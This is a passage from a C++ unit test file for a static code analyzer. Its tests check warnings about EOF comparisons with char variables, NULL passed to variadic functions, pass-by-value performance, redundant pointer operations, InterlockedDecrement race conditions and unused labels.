x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer 